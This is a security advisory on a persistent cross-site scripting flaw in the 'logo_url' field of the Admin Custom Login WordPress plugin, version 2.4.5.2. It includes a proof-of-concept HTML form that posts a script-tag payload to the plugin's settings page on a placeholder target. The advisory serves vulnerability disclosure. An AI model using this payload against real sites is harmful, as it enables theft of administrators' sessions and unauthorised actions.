WordPress Admin Custom Login plugin version 2.4.5.2 suffers from a persistent cross site scripting vulnerability.
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Admin Custom Login WordPress plugin affected by persistent Cross-Site
Scripting via Logo URL field
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Burak Kelebek, July 2016
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Abstract
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A persistent Cross-Site Scripting vulnerability has been encountered in
the Admin Custom Login WordPress plugin. This issue allows an attacker
to perform a wide variety of actions, such as stealing Administrators'
session tokens, or performing arbitrary actions on their behalf. The
"logo_url" field does not validate <script> tags and does not perform
output encoding.
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OVE ID
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OVE-20160712-0002
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Tested versions
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This issue was succesfully tested on the Admin Custom Login WordPress
plugin version 2.4.5.2.
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Fix
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There is currently no fix available.
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Details
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https://sumofpwn.nl/advisory/2016/admin_custom_login_wordpress_plugin_affected_by_persistent_cross_site_scripting_via_logo_url_field.html
As an admin, it's possible to upload a logo on the login page. The "logo_url" field does not validate <script> tags and does not perform output encoding.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/options-general.php?page=admin_custom_login" method="POST">
<input type="hidden" name="Action" value="logoSave"/>
<input type="hidden" name="logo_image" value="http://<target>/wp-content/uploads/2016/06/scriptalert1script.jpeg"/>
<input type="hidden" name="logo_width" value="200"/>
<input type="hidden" name="logo_height" value="60"/>
<input type="hidden" name="logo_url" value=""><script>alert(1)</script>"/>
<input type="hidden" name="logo_url_title" value="\\\\"/>
<input type="submit"/>
</form>
</body>
</html>
After this request is executed, re-open the admin panel of WordPress and visit the Admin Custom Login page.
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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